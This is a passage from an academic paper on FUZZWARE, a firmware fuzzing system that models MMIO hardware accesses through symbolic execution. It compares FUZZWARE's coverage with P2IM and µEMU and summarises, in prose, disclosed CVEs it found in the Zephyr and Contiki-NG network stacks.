In these cases, it uses the model’s parameters to translate a
fuzzing input chunk into a hardware-generated value.

We now detail our five generic models. For each one, Ta-
ble 1 shows which type of input overhead it handles (Over-
head), which parameters it uses (Parameters), how many raw
fuzzing bits an access consumes (# Fuzzing Bits), and how
models use parameters to translate the raw fuzzing input into
the hardware-generated value (Output).

1) Constant Model. This model describes MMIO accesses
where a specific constant is used as part of a comparison,
which must be satisfied to allow execution to proceed (see 1

in Figure 2).

2) Passthrough Model. This model is assigned to accesses
where the hardware-generated value is determined to not af-
fect the firmware’s state. We treat the MMIO access like a
regular memory access. These include, for example, accesses
to configuration registers (see 2 in Figure 2).

3) Bitextract Model. The bitextract model is used when only
a portion of the bits read from MMIO are used by the firmware.
For example, this is the case when four bytes are read from
an MMIO register and a bitmask is applied to only retain a
few bits while the others are discarded (see 3 in Figure 2).
Note that similar effects occur for bit shifts, truncations, and
equivalent instruction composites.

Examples: A 4 byte-wide MMIO access is performed with
a model-computed bit mask of 0x00ff0000. The emulator
consumes a byte of fuzzing input, e. g., 0x4e. The emulator
serves 0x004e0000 as the hardware-generated value for the
MMIO access. For a bit mask of 0xfff0000f and a consumed
raw input chunk 0xabf8, the emulator serves 0xabf00008.

4) Set Model. The set model handles the situation where a
(part of the) hardware-generated value is checked against dif-
ferent values to determine control flow. The model is applied
in case a discrete list of values can be precomputed such that
each value represents exactly one of the possible control-flow
options. A chunk of raw fuzzing input is interpreted as the
fuzzer’s choice from among the different options for each
individual access. Possible instances include status and iden-
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tification registers, where the firmware performs different
actions based on the hardware-generated value (see Figure 3).

Example: A 2 byte-wide MMIO access is performed for a
model-computed list of four precomputed values [1,5,7,128].
The emulator consumes 2 bits of fuzzing input, e. g., 0x1. The
emulator serves 0x0005 as the hardware-generated value.
5) Identity Model. This model is assigned if DSE determines
that all bits of a hardware-generated value are meaningful
(i. e., used by firmware). It is also used as a fallback in case an
unconstrained symbolic variable escapes the analysis scope,
or if DSE does not complete within its resource limits. In
these situations, we conservatively assume that every bit of the
hardware-generated value may later be used by the firmware.
Thus, we allow the fuzzer to try all values and therefore to
discover all firmware paths. As we will show in Section 6.1,
this fallback is rarely required in practice.
Model Computation By Example. For further explanation,
we re-visit the busy check of the serial peripheral’s status
shown in 1 in Figure 2. While stepping through the loop,
our symbolic execution reaches the comparison and splits the
execution into two states—one which exits the loop and an-
other which takes an additional loop iteration. By generating
multiple of these states and inspecting path constraints, we
can show that for each state that exits the loop, the hardware-
generated value has to be equal to HAS_DATA during the last ac-
cess, while prior accesses had to be different from HAS_DATA.
Consequently, firmware execution does not continue without
the hardware-generated value being equal to HAS_DATA. We
can use this information to assign the Constant Model, pa-
rameterized with the value of HAS_DATA. Similarly, for the
GPIO update in 2 , DSE will show that the queried hardware-
generated value is only written back to an MMIO address,
but not involved in a constraint on the execution state other-
wise. Hence, we assign the Passthrough Model. Finally, for 3 ,
DSE shows that while no constraints exist on the path itself, a
masked part of the hardware-generated value is returned from
the function. As the DSE terminates on the function boundary
(to avoid path explosion), we assign a Bitextract Model.

4.5 Interrupt, Timer and DMA Handling
As described in Section 2.1, interrupts are an asynchronous
source of input into firmware logic. As an ISA emulator
does not contain any notion of peripherals to raise interrupts,
this behavior has to be triggered by FUZZWARE. Per default,
FUZZWARE raises each of the currently-enabled interrupts in
a rolling fashion after a certain number of basic blocks is exe-
cuted. The set of enabled interrupts is tracked by examining
the state of the CPU’s interrupt controller during execution.

Among other peripheral behavior, FUZZWARE mimics
interrupt-based timer peripherals this way. To provide ad-
ditional flexibility in exploring how firmware logic reacts
to specifically-timed events, FUZZWARE allows precise con-
trol over both when and which interrupts should be raised.

Similar to how fuzzing input is used by access models to
determine hardware-generated values, fuzzing input can be
used to determine the timing of the next interrupt, as well as
its number. This allows the fuzzer to discover the influence of
very specific interrupt timings on firmware behavior.

Note that FUZZWARE can support some forms of DMA by
defining transfer buffers as MMIO regions. However, FUZZ-
WARE currently does not explicitly model DMA in an auto-
mated way given that this is out of scope for this work.

5 Implementation

We implement a prototype of FUZZWARE targeting the ARM
Cortex-M standard. We chose this platform due to its wide
adoption in practice and projected future popularity [4]. The
implementation is designed such that support for other tar-
geted ISAs is possible in the future.

5.1 FUZZWARE’s Emulator

Our implementation is based on Unicorn Engine [49] as the
base ISA emulator and we use legacy AFL [54] as the fuzzing
engine for a fair comparison with other modeling approaches.
We also integrated AFL++ [19] for its extended feature set
and baseline performance. We handle MMIO accesses by
registering memory access hooks for MMIO regions with
the native Unicorn API. We handle hooked read accesses
by writing the output of the assigned model (as described in
Section 4.3) to the accessed MMIO address before the read
operation is performed. We associate a memory access with
its corresponding model by its MMIO access context, i. e., the
pair of program counter and MMIO address. If no associated
model exists, we default to handling the access according to
the Identity Model. We use three generic files as initial fuzzing
inputs (each 512 bytes in size): All zero-bits, all one-bits, and
concatenated 32-bit values with a shifting 1-bit each.

Empirically, we have found that consuming raw fuzzing
input provided by an unmodified byte-oriented fuzzer on
a bit-granular level conflicts with the heuristics that drive
the fuzzer’s input mutation process. Consequently, to handle
MMIO accesses, we consume raw inputs on a byte-granular
level. For example, while each access to a set model with four
elements requires a minimum of two bits of fuzzing input, a
byte is consumed in our current implementation.

Timers and Interrupts. Timers and interrupts are a source of
nondeterminism in firmware execution. As discussed in Sec-
tion 4.3, we require emulation runs to be fully reproducible.
To achieve precisely reproducible timing behavior, we mea-
sure elapsed time by the number of emulated basic blocks.
We also extended the Unicorn Engine with an implementation
of the interrupt controller (NVIC) and the system tick timer
(SysTick), which are defined in the Cortex-M standard.
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5.2 MMIO Access Modeling
For DSE, we chose angr [44, 45] as an engine, as it—just like
Unicorn Engine—readily supports a wide range of ISAs and
lends itself well to including more architectures.

After loading a firmware state snapshot into angr and cre-
ating a symbolic variable for the hardware-generated value
representing the tracked MMIO access, we track the variable’s
liveness via reference counting. We increment the reference
count whenever DSE writes a symbolic expression containing
the tracked variable to a register or to memory, and we decre-
ment the count whenever such an expression gets overwritten.
To track whether register value assignments from a concrete
restored state snapshot influence modeling results, we taint
registers after loading the snapshot.

Upon hitting an exit condition as described in Section 4.3,
we check the live symbolic expressions and constraints on
the resulting states for adherence to each model definition as
detailed in the following.
1) Constant Model: All tracked variables are no longer ref-
erenced, but constrain the resulting states. A single common
value v for the latest tracked variable exists between all result-
ing states with the following property: For any previous-to-
last variable, assigning v does not satisfy the state constraints.
The constant value v parameterizes the model.
2) Passthrough Model: All tracked variables are no longer
referenced and do not constrain any of the resulting states.
3) Bitextract Model: All state constraints and symbolic ex-
pressions remain unchanged after a bit mask has been applied
to each tracked symbolic variable in each state. The bit mask
with the lowest Hamming weight parameterizes the model.
4) Set Model: All variables are no longer referenced, but
constrain the resulting states. For each state and reference-
counted variable, a value can be found that does not satisfy
the path constraints of any of the other states. In other words,
the sets of constraints on each path form partitions of the
input space between states. The minimum representative of
each partition is chosen as a value in the configured set, which
parameterizes the model.
5) Identity Model: None of the above models apply, or no
model was found within DSE limits.

If multiple models apply, the one with the highest reduction
of input overhead is chosen. As the limit for the DSE com-
putation, we set the default run time to 5 minutes per model
and a maximum of 1,000 symbolically executed basic blocks,
which we have found to work well in practice.

6 Evaluation

We evaluate FUZZWARE by considering the following re-
search questions:

RQ 1 How computationally expensive is the implemented
symbolic execution-based modeling?

RQ 2 How many optimized modeling opportunities does
FUZZWARE miss due to its conservative scoping?

RQ 3 Are FUZZWARE’s MMIO access models applicable to
a wide variety of firmware and hardware platforms?

RQ 4 How does FUZZWARE perform compared to previous
methods in fuzzing monolithic firmware?

RQ 5 Can FUZZWARE be used to uncover previously un-
known bugs in real-world firmware?

To answer these questions, we performed different experi-
ments, targeting 77 different firmware images for 19 different
hardware platforms, summarized in Table 4 in the appendix.
First, we quantified the amount of input overhead that ac-
cess modeling eliminates and studied how this translates into
code coverage. Second, we applied FUZZWARE to a set of
real-world firmware samples used in concurrent work. Third,
we used FUZZWARE to test network stacks of widely-used
embedded firmware frameworks with the goal of uncovering
network packet processing bugs. Finally, we analyzed the root
causes of the crashing test cases produced by FUZZWARE.

6.1 Access Modeling for Fuzzing
In a first step, we focus on the costs and the general applica-
bility of FUZZWARE’s access modeling on the fuzzing-based
firmware exploration process (RQ 1, RQ 2, and RQ 3).

For the initial part of our evaluation, we use two sets of
firmware targets: First, we created a unified application-level
program from which we generate firmware images for ten
hardware platforms supported by ARM’s Mbed OS [36].
We use a unified application as from a modeling point of
view (and probably counter-intuitively), compiling the same
application-level program for 10 different boards will look
vastly different, while compiling 10 different application-level
programs for the same board will effectively look the same
to MMIO modeling. This is why we reach diversity by com-
piling the same program for 10 boards. To expand on the
application-level diversity, we also test FUZZWARE on the 661

unit tests originally published by the authors of P2IM [18].
Our test application repeatedly triggers hardware platform-

specific driver behavior by calling different high-level Mbed
OS APIs, which then resolve to its platform-specific driver
functions and thus trigger MMIO accesses. The test applica-
tion then prompts the user for a password over the serial port.
If the correct password was entered, the firmware exposes
a vulnerable function accepting input from the serial port.
We use this application to repeatedly trigger the underlying
hardware-specific driver implementations for each platform.

To provide the baseline data for our evaluation, we fuzz
each of the ten Mbed OS targets for 24 hours, once with

1Originally, this data set consisted of 70 firmware unit tests [18], but a
recent errata removed four of them for validity reasons.
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MMIO access modeling enabled and one time with MMIO
access modeling disabled. We repeated this experiment ten
times to account for the fuzzer’s inherent nondeterminism as
recommended by Klees et al. [29]. We used a 40-core Intel
Xeon Gold 6230 CPU @ 2.10 GHz machine running Ubuntu
18.04.4 LTS and assigned each FUZZWARE instance two CPU
cores. We visualize the time spent to discover the individ-
ual characters of the password in Figure 6 in the appendix.
Based on these experiments, we collected additional metrics
on several aspects of FUZZWARE’s operation.

Costs of Model Generation. To evaluate the (one time) com-
putation costs incurred by our modeling (RQ 1), we collected
the start and completion timings of all model generation jobs.
On average, 62 models have been generated during a 24-hour
experiment for a single firmware image, which took an aver-
age of 6.34 minutes (6 seconds per model) to compute.

Input Overhead Elimination. After analyzing the costs in-
curred by modeling, we quantify its overall elimination of
input overhead. Table 2 shows how much input overhead (M)
different models eliminated and how much fuzzing input (F)
they consumed. As described in Section 5, the current imple-
mentation of access models operates with byte granularity.
Every second row shows the input overhead reduction for an
assumed bit-granular model implementation. The resulting
data shows that in total, the current implementation eliminates
a minimum of 49.3% and a maximum 83.4% of the input
space (in ARCH_PRO and NUCLEO_L152RE, respectively).
When considering a bit-granular implementation, these values
increase to 49.7% and 95.5%, respectively. Over all runs, the
input space was reduced by nearly 80% and could have been
reduced by nearly 90% with bit-granularity. We can also see
that depending on the target, input overhead differs signifi-
cantly. It is worth mentioning that depending on the firmware
sample, some model types simply do not apply. If the bit-
widths of MMIO accesses exactly match the amounts of data
actually used within firmware code, Bitextract optimizations
are not required (see ARCH_PRO).

To determine the opportunities of input overhead reduction
that FUZZWARE might have missed (RQ 2), we re-visited the
cases where an Identity model was assigned, meaning that no
input overhead was eliminated for the given MMIO accesses.
In total, of the 623 unique models that were generated during
the experiment, 34 have been assigned the Identity Model.
We manually verified that in 19 instances, full values were
used within firmware logic, leaving no room for overhead
reduction. The remaining 15 cases (less than 2.5% of the
623 models) involved processing where DSE resource limits
applied. In these cases, modeling conservatively assigned an
Identity model and fell back to allowing the fuzzer to try all
values. This ensures that we are not assigning a wrong model
which could hide parts of firmware code from the analysis.
Only rarely encountering this fallback is expected: firmware
typically processes a hardware-generated value immediately

Table 2: Percentage of fuzzing input ( F ) used and overhead reduction (M)
achieved, per model type. We analyze how much fuzzing input each model
consumes (if the model consumes any) and how much input overhead each
model eliminates (the Identity model does not eliminate input overhead).
(CN: Constant, PT: Passthrough, ID: Identity)

Target CN PT Set Bitextract ID Total
M M M F M F F M F

ARCH_PRO bytes 45.8 3.3 0.1 0.5 0 49.3 50.7
bits 0.6 0.1 0 50.3 49.7 50.3

EFM32GG_STK3700 45.2 0.4 0.3 0.1 33.8 11.3 79.8 20.2
0.4 0.0 33.9 11.3 8.8 79.9 20.1

EFM32LG_STK3600 46.3 0.4 0.3 0.1 34.7 11.6 81.7 18.3
0.4 0.0 34.7 11.5 6.6 81.9 18.1

LPC1549 48.6 1.6 0.2 0.1 0 50.4 49.6
0.3 0.0 0 49.6 50.4 49.6

LPC1768 46.6 3.3 0.1 0.5 0 50.1 49.9
0.6 0.1 0 49.4 50.5 49.5

MOTE_L152RC 34.4 0.5 20.0 6.7 28.4 9.5 83.3 16.7
25.9 0.8 34.3 3.6 0.5 95.1 4.9

NUCLEO_F103RB 32.3 0.7 20.8 6.9 28.6 9.5 82.2 17.8
26.8 0.9 34.9 3.2 1.3 94.7 5.3

NUCLEO_F207ZG 25.7 1.0 22.2 7.4 29.2 13.5 78.1 21.9
28.7 0.9 38.5 4.2 1.1 93.8 6.2

NUCLEO_L152RE 34.4 0.6 20.4 6.8 28.0 9.3 83.4 16.6
26.4 0.9 34.2 3.2 0.5 95.5 4.5

UBLOX_C027 43.6 8.2 0.1 0.4 0 51.9 48.1
0.5 0.0 0 47.7 52.3 47.7

Total bytes 35.9 0.8 15.6 5.2 27.1 9.5 79.4 20.6
bits 20.2 0.7 32.0 4.5 5.9 89.0 11.0

after reading it, as MMIO register states are short-lived, and
may quickly change values.

MMIO Access Model Generality. The authors of P2IM pub-
lished a set of 46 firmware images comprising 66 unit test
cases. These are designed to test the ability of an emulation
system to deal with diverse types of common hardware periph-
erals on different combinations of firmware and hardware plat-
forms (eight hardware peripherals, three MCUs, and three OS
libraries), as well as interrupt-based and synchronous input
passing mechanisms. For these 66 test cases, previous work
achieves passing rates of 83% and 95%2, respectively [18,57].
Regarding RQ 3, we reproduced these test cases by running
FUZZWARE for 10 minutes. FUZZWARE passed all of the 66
test cases. Consequently, FUZZWARE is the first automated
and generic emulation system to pass 100% of the P2IM unit
test cases, demonstrating the robustness of its models, its gen-
eral applicability, and the advantage of approaches not relying
on path elimination.

6.2 Comparison with the State of the Art
To assess FUZZWARE’s efficacy, we compare it with
µEMU [57] and P2IM [18], two state-of-the-art tools for
hardware-less re-hosting. Like FUZZWARE, they support
generic monolithic firmware fuzzing without significant man-
ual intervention. As the evaluation data set, we use the 21
real-world firmware samples presented in µEMU, which in-
cludes 10 samples previously tested by P2IM.

For each sample, we performed five 24-hour fuzzing itera-
tions for each target on virtualized dual core machines running
on Intel Xeon Silver 4114 CPUs at 2.20 GHz on Ubuntu

2Based on the remaining 66 of 70 unit tests, adjusted from 79% and 93%.
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Figure 5: Uniquely discovered basic blocks for P2IM real-world firmware samples over five 24h runs. Displayed are the median number of discovered basic
blocks, alongside with minima and maxima over the individual runs.

18.04.4 LTS. For all experiments, we re-used exact input
seeds where provided, and used the configurations published
alongside the tools where applicable. For FUZZWARE, we
always use its default configuration except for five firmware
samples in which we reproduce part of µEMU’s configura-
tions. In four of these cases, we disable interrupts (3D_printer,
RF_door_lock, Thermostat, xml_parser), while in the fifth
case, we add support for DMA operations by manually defin-
ing pass-through models for two DMA buffer address MMIO
registers (utasker_Modbus). In contrast to FUZZWARE’s min-
imal configuration overhead, the most recent target configu-
rations of µEMU available at the time of writing3 (1) specify
custom definitions of input peripherals, (2) apply custom con-
figurations to tweak exploration parameters to the target, and
(3) specify custom path validity information (alive points
and/or kill points). This customization requires a human ana-
lyst with domain knowledge of the respective target. As noted
by the µEMU authors, without further human assistance, P2IM
is unable to analyze the 11 samples introduced by µEMU [57].

Hence, we compare the fuzzing performance of all three
systems on the 10 targets supported by P2IM, visualized in
Figure 5, and provide the data for all experiments, including
the ones for the 11 remaining firmware samples in Table 5
in the appendix. The results show that FUZZWARE consis-
tently discovers (significantly) more basic blocks compared
to the state of the art. In one case (CNC), FUZZWARE doubles
P2IM’s coverage and triples µEMU’s coverage. For the targets
in Figure 5, FUZZWARE yields on average ~44% more code
coverage than P2IM and ~61% more coverage than µEMU
(~57% when averaged over all targets). In 19 out of 21 times,
the minimum coverage achieved by FUZZWARE exceeds the
maximum coverage of the prior approaches. In other words,
even the worst run of FUZZWARE performs better than the
best run of µEMU and P2IM. With the exception of PLC

3Our evaluation bases on git commits 5b12949325 and 67e50000bb of
the uEmu-real_world_firmware and uEmu repositories, respectively.

and LiteOS_IOT, where FUZZWARE showed variable perfor-
mance, all results are statistically significant according to the
Mann–Whitney U test, as recommended by Klees et al. [29].

One interesting aspect in Figure 5 is that P2IM often out-
performs µEMU. We believe the reason for this to be the
aggressive path elimination that is at the core of µEMU’s
invalidity-guided approach (cf. Section 3): The framework
deploys heuristics to decide on viable paths and provides hard-
ware values accordingly. When no clear distinction can be
made, this choice is left to randomness, which either makes
large parts of the firmware available for analysis or removes
them entirely from the ongoing run. This may also explain
why individual runs perform better than P2IM. Further, we
assume both approaches to path elimination are also respon-
sible for the fact that basic block discovery graphs flatline
early. FUZZWARE does not eliminate paths, resulting in a
higher code coverage. We discuss path elimination and code
coverage in Section 7.

Alongside the significant increase in coverage and automa-
tion, FUZZWARE uncovered previously unreported bugs in
three targets. Manual root cause analysis showed that FUZZ-
WARE identified one concurrency issue (Soldering Iron), a
missing pointer verification (CNC), and an unchecked AT
command parsing crash (GPSTracker). For all three targets,
the discovery of additional bugs found by FUZZWARE coin-
cides with a significant increase in code coverage.

Regarding RQ 4, the results indicate that our access mod-
eling allows a fuzzer to clearly outperform the current state of
the art. Towards RQ 5, we observe that FUZZWARE is able to
identify bugs in real-world firmware and also find new bugs
that previous work does not locate.

6.3 Fuzzing New Targets

Fuzzing Targets. To expand on RQ 3 and RQ 5, we used
FUZZWARE to test different functionalities of the core net-
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work stacks of two popular embedded firmware frameworks:
Zephyr [55], and Contiki-NG [12]. Both projects are well-
maintained, with hundreds of contributors, and backing com-
panies such as Intel and Google.

We chose the radio layer implementations of these two
systems as a fuzzing target. Connected devices heavily rely
on network stacks, and the corresponding low-level parsing
code exposes a universal attack surface. As successful attacks
can potentially propagate from one device to another, flaws
in these types of interfaces put whole fleets of devices at risk.

We based all of the firmware images on code samples
demonstrating uses of different network stacks. Similar to
the rationale for re-using identical application-level code in
Section 6.1, logic within higher layers (such as the application
layer) does not influence the inner workings of lower layers
(e. g., low-level radio packet processing).

Bug Case Studies. In total, FUZZWARE discovered 12 dis-
tinct bugs in these targets, for which 12 CVEs have been
assigned after a coordinated disclosure. In the following, we
provide case studies for some of these bugs. A full overview
of these bugs can be found in Table 6 in the appendix.

CVE-2020-12141. In the tested version of Contiki-NG, the
Simple Network Management Protocol (SNMP) parsing logic
of incoming SNMP messages did not correctly validate the
user-supplied size of the variably-sized community field. This
lead the logic to access the user-supplied buffer out of bounds,
resulting in a firmware crash (DoS).

CVE-2021-3321. As a translation layer from radio frames
to IPv6 packets, the IPv6 over Low-Power Wireless Per-
sonal Area Networks (6LoWPAN) standard defines a cus-
tom header compression mechanism. Before decompression,
Zephyr checked the required size of the decompressed header
payload, and would correctly allocate an appropriately-sized
destination buffer to hold the decompressed contents. The
logic did not check, however, whether the source frame was
actually large enough to hold the compressed header payload.
As a result, it consumed more bytes from the frame-holding
buffer than available, leading to a size field integer underflow,
followed by a corruption of memory.

CVE-2021-3330. To transport IPv6 packets from small radio
frames, 6LoWPAN defines a fragmentation layer. To differ-
entiate between the start and subsequent entries of a list of
fragments, frames are assigned the fragment types FRAG1
and FRAGN, respectively. When encountering a FRAGN frag-
ment, the reassembly logic would insert the fragment to the
start of the fragment list, and correctly check that its contents
are marked for insertion at the beginning of the reassembled
buffer. Before reassembling, however, the logic did not check
whether a FRAG1 fragment is present. Assuming a FRAG1
fragment to be present, the fragment sorting logic would predi-
cate its algorithm on a pre-sorted first element. Using a crafted
set of input fragments which exactly match the required over-
all size, but does not contain a FRAG1 fragment, the sorting

Table 3: Root cause categories of unique crashes generated by FUZZWARE.

Firmware Set #Unique #Security #Unchecked #False
Crashes Issues Initialization Positives

Synthetic Samples 10 10 - -
P2IM 16 9 7 -
µEMU 19 9 9 1
Zephyr 12 10 - 2
Contiki-NG 4 4 - -

Total 61 42 16 3

logic can be tricked into creating an unintended cyclic refer-
ence within the list, which translates into an eventual integer
underflow, followed by a buffer overflow.

This experiment shows that our modeling approach allows
a fuzzer to effectively test and find bugs in well-maintained,
widely-used real-world firmware code (RQ 5).

6.4 False Positive Crash Analysis

Finally, we investigated the crashes produced by FUZZWARE.
To this end, we deduplicated the crashing test cases generated
across the previous experiments and performed a manual root
cause analysis. Table 3 shows the results of the experiment.

Our analysis showed that 42 out of the 61 unique crashes
corresponded to security issues, and 16 crashes occurred as
firmware logic does not robustly handle initialization, e. g.,
by not checking the return value of initialization APIs. The
three remaining test cases related to omitted firmware checks.
We identify these three crashes as false positives, since the
bugs exist in the firmware, but will not occur on real hard-
ware. Two of these crashes occurred in Zephyr: In the first
case, the length of a radio packet was implicitly assumed to
have a maximum value of 127, while a full byte of hardware-
generated MMIO value was used without checks in a size
variable (maximum value: 255). This leads to a buffer over-
flow for size values greater than 127. In the other case, an
interrupt handler used a pointer variable without initialization
checks. It assumed the variable to be initialized when an inter-
rupt was raised. If an interrupt was raised by the fuzzer before
this initialization was performed, interrupt handling would
result in a NULL pointer dereference. The third false positive
crash was caused in the µEMU utasker_USB sample, where
the USB receive channel number register field CHNUM may
have a maximum value of 15, but only less USB channels are
actually in use, leading to another out-of-bounds access.

In essence, the results show that we abstract away hardware
from firmware in the fuzzing process. This implies that if a
bug exists in the software regardless of the hardware envi-
ronment, FUZZWARE might identify it. However, it does not
guarantee that the bug can be triggered in a specific real hard-
ware deployment. On the contrary, it might just demonstrate
that the software developers are trusting a specific hardware.
Becoming aware of these types of issues may have some
upside: the same firmware running in a different hardware en-
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vironment might suffer from a security vulnerability (since the
hardware cannot be trusted). This way, FUZZWARE pinpoints
possible security issues, even before the code is deployed in a
different hardware environment.

7 Discussion

In this section, we further discuss our design decisions, the
applicability of FUZZWARE outside our prototype implemen-
tation, and possible future research directions.

Direct Memory Access (DMA). As discussed in Section 4.5,
while FUZZWARE allows handling DMA via additional con-
figuration, automatically modeling DMA is not the focus of
this work. However, we see one central contribution of this
work towards automated DMA handling: As DMA-handling
firmware code is often part of more complex code (where,
in practice, heavy MMIO use is inevitable), achieving a high
baseline code coverage (as we show is the case with FUZZ-
WARE in Section 6) is a prerequisite to even triggering any
use of DMA. The authors of DICE [37], while recently de-
scribing a generic DMA handling approach, encountered this
issue: Their evaluation shows that previous firmware fuzzing
systems are unable to reach DMA logic for more than a third
(36%) of detected DMA, which can likely be attributed to
missing firmware code coverage.

Using Access Models outside FUZZWARE. The tight inte-
gration of FUZZWARE’s MMIO access models in the fuzzing
process raises the question whether those models can be used
independently. Luckily, once these models are generated, the
only information needed to serve a request are access size, lo-
cation, and program counter value – information which is read-
ily available in other analysis frameworks. To demonstrate
that this allows interoperability, we integrated FUZZWARE
generated models into avatar2 [38] as so-called pyperipherals.
This enables dynamic analysis capabilities beyond fuzzing,
such as taint analysis using the PANDA framework [16].

Merits of Path Elimination. Previous approaches (e.g., [7,
18, 57]) eliminate code paths to steer firmware execution.
As we describe in Section 3.2, eliminating paths bears the
risk of excluding relevant functionality from the analysis,
either by removing error handling or by forcing execution
into complex error handling routines, away from ordinary
functionality. As a heuristics-based classification of “correct”
code paths is error prone, and a misclassification requires
manual intervention to remediate, we aimed for robustness
in a fully automated setting by avoiding such classification
attempts. To facilitate automation, FUZZWARE allows hitting
stuck cases (such as hitting tight infinite error loops), and
relies on the fuzzing engine to avoid them based on timeouts
and coverage feedback. Future work could improve upon this
in a middle ground approach by identifying and eliminating
stuck cases that can be safely removed without reducing the
amount of reachable firmware logic.

Implicit Peripheral Semantics. During our evaluation, we
found that implicit assumptions made by firmware about the
behavior of its surrounding hardware account for some of the
crashing test cases. The underlying notion could open up po-
tential future research: Intuitively, we assume that the way in
which firmware code is built and operates exposes information
about the implicit assumptions it makes about its surrounding
hardware. This may include assumed size limits, as well as
the expected order in which certain events are assumed to
occur. Further analyses could use this type of information to
derive increasingly complex models of peripheral behavior.

8 Related Work

Coverage-guided fuzzers, such as AFL [54] and more ad-
vanced approaches [3, 6, 19, 41, 47, 52], have found numerous
critical bugs in major applications and OSes. One important
line of research focuses on increasing the quality of fuzzing
inputs, for instance via taint tracking [10,41], symbolic execu-
tion [20,47,52], or by additional program state analysis [2,3].
While we can leverage the described techniques to improve
our work, the fuzzers implementing them target desktop appli-
cations and are not directly applicable to embedded systems.

Multiple studies apply black-box fuzzing to embedded de-
vices [9,31,40], but generally suffer from a lack of coverage in-
formation and the inability to reset the device to a known state.
This challenge is commonly overcome by re-hosting embed-
ded systems’ firmware [17,51]. Recent work uses QEMU [5],
especially for emulating Linux-based firmware [8, 14, 28, 56].
Unfortunately, these approaches heavily rely on the abstrac-
tions provided by the Linux kernel and, thus, are not applica-
ble to monolithic firmware as analyzed in our work.

Similar to using abstractions provided by the Linux kernel,
one rehosting approach builds on top of the hardware ab-
straction layers present in many firmware images [11, 33, 35].
Unfortunately, identifying and modeling those abstractions
still requires target-specific knowledge and manual effort,
even with the automation presented in HALUCINATOR [11].

Hardware-in-the-loop approaches (e. g., [13, 26, 27, 30, 38,
48, 53]) avoid the need for abstractions by forwarding hard-
ware accesses to a physical device during emulation. While
this allows for dynamic analysis of firmware, these approaches
have limited applicability to fuzz testing. On top of forward-
ing being a typical bottle-neck for most of these systems, they
require one instance of the target hardware per fuzzing thread,
as the hardware state and fuzzer must be kept consistent.

The recent trend of pattern-based MMIO modeling was
introduced by PRETENDER [22], which still required a
hardware-in-the-loop recording phase. This hardware depen-
dency was later resolved by P2IM [18], and then addressed
by µEMU [57], as extensively discussed in Sections 3 and 6.

Various further approaches integrating dynamic symbolic
execution in the rehosting process to infer correct values
for hardware accesses have been proposed [7, 15, 24, 34].
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LAELAPS [7], a recent and representative approach targeting
monolithic firmware, allows to steer the execution to inter-
esting locations by involving a human analyst. Unlike FUZZ-
WARE, this human-in-the-loop approach is not designed for
automated fuzz testing, as fuzzing a specific firmware image
with LAELAPS requires significant target-specific manual ef-
fort, and its emulation does not scale well due to frequent
invocations of the expensive symbolic execution engine.

9 Conclusion

In this work, we presented a novel approach for model-
ing MMIO interactions to effectively fuzz test a monolithic
firmware binary. Our access models are based on deeper in-
sights into firmware logic and, consequently, allow one to
eliminate types of input overhead that have previously been
inaccessible to existing MMIO modeling approaches. Apply-
ing these models results in a drastically improved fuzzing
effectiveness over the current state of the art.
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A Appendix

Table 4: Hardware platforms and firmware samples used in FUZZWARE’s evaluation.

Platform Firmware Samples
ARCH_PRO Password_Discovery
EFM32GG_STK3700 Password_Discovery
EFM32LG_STK3600 Password_Discovery
LPC1549 Password_Discovery
LPC1768 Password_Discovery
MAX32600 RF_Door_Lock, Thermostat
MK64FN1M0VLL12 P2IM unit tests, Console
MOTE_L152RC Password_Discovery
NUCLEO_F207ZG Password_Discovery
SAM3X8E P2IM unit tests, Heat_Press, Steering_Control
SAM3X/A GPS tracker
SAMR21 6LoWPAN_Sender, 6LoWPAN_Receiver
STM32F103RB Password_Discovery, P2IM unit tests, Drone, Gateway, Reflow_Oven, Robot, Soldering_Iron
STM32F103RE 3Dprinter
STM32F429ZI CNC, PLC, utasker_MODBUS, utasker_USB
STM32L152RE Password_Discovery, XML_Parser
STM32L431 LiteOS_IoT
STM32L432KC Zepyhr_SocketCan
UBLOX_C027 Password_Discovery
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Figure 6: Time spent by FUZZWARE for character discovery on 10 synthetic firmware samples over ten 24h runs with and without modeling. Shown are individual
timings (dots), the mean and 66% intervals. Each dot represents the point of time at which the character was solved by one run. Thus, if all ten runs succeed in
finding a character, ten dots exist for this character. A high number of dots indicates consistency in finding the character, while dots positioned low indicate high
speed in solving that character.
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Table 5: FUZZWARE (FW.) vs P2IM vs µEMU coverage generation over five 24-hour fuzzing iterations. We compare the minimum (#BB min), average (#BB
avg), maximum (#BB max), and total number of basic blocks (#BB total) discovered across all runs by each system. We account for targets used by both P2IM
and µEMU (upper part) and such only evaluated by µEMU (lower part). Bold numbers indicate the best result in each category. The last two columns show the
p-value according to the Mann-Whitney U test between the runs of FUZZWARE and P2IM, and between FUZZWARE and µEMU. For all but two cases the p-value
(p < 0.01) indicates statistical significance of the results.

Target #BB in #BB min #BB avg #BB max #BB total p-value
target P2IM µEMU FW. P2IM µEMU FW. P2IM µEMU FW. P2IM µEMU FW. to P2IM to µEMU

CNC 3614 1096 416 2422 1252 786 2560 1578 1136 2646 1599 1140 2722 < 0.01 < 0.01
Drone 2728 1268 1456 1830 1270 1457 1836 1275 1459 1847 1275 1461 1850 < 0.01 < 0.01
Heat Press 1837 527 492 537 532 493 544 536 493 547 536 494 550 < 0.01 < 0.01
Reflow O. 2947 815 797 1188 815 829 1189 815 875 1191 815 880 1191 < 0.01 < 0.01
Soldering I. 3656 1302 837 2080 1302 947 2117 1302 1271 2134 1302 1283 2145 < 0.01 < 0.01
Console 2251 779 583 805 779 615 805 779 662 805 779 662 805 < 0.01 < 0.01
Gateway 4921 1756 1623 2423 1768 1738 2622 1804 1905 2881 1806 1977 2984 < 0.01 < 0.01
PLC 2303 505 436 465 507 436 603 513 436 647 513 451 649 0.07 < 0.01
Robot 3034 1131 999 1267 1158 1004 1296 1190 1014 1340 1192 1017 1340 < 0.01 < 0.01
Steering C. 1835 498 489 598 498 497 609 498 506 613 498 506 613 < 0.01 < 0.01

6LoWPAN_Recv. 6977 - 2477 3056 - 2501 3099 - 2520 3142 - 2572 3155 - < 0.01
6LoWPAN_Send. 6980 - 1688 2914 - 2342 3066 - 2522 3144 - 2550 3166 - < 0.01
RF_door_lock 3320 - 605 782 - 664 1675 - 679 2262 - 679 2641 - < 0.01
Thermostat 4673 - 907 2274 - 936 2747 - 980 3082 - 1020 3545 - < 0.01
3D_printer 8045 - 854 889 - 854 977 - 854 1217 - 855 1221 - < 0.01
GPSTracker 4194 - 587 1006 - 588 1016 - 588 1027 - 602 1040 - < 0.01
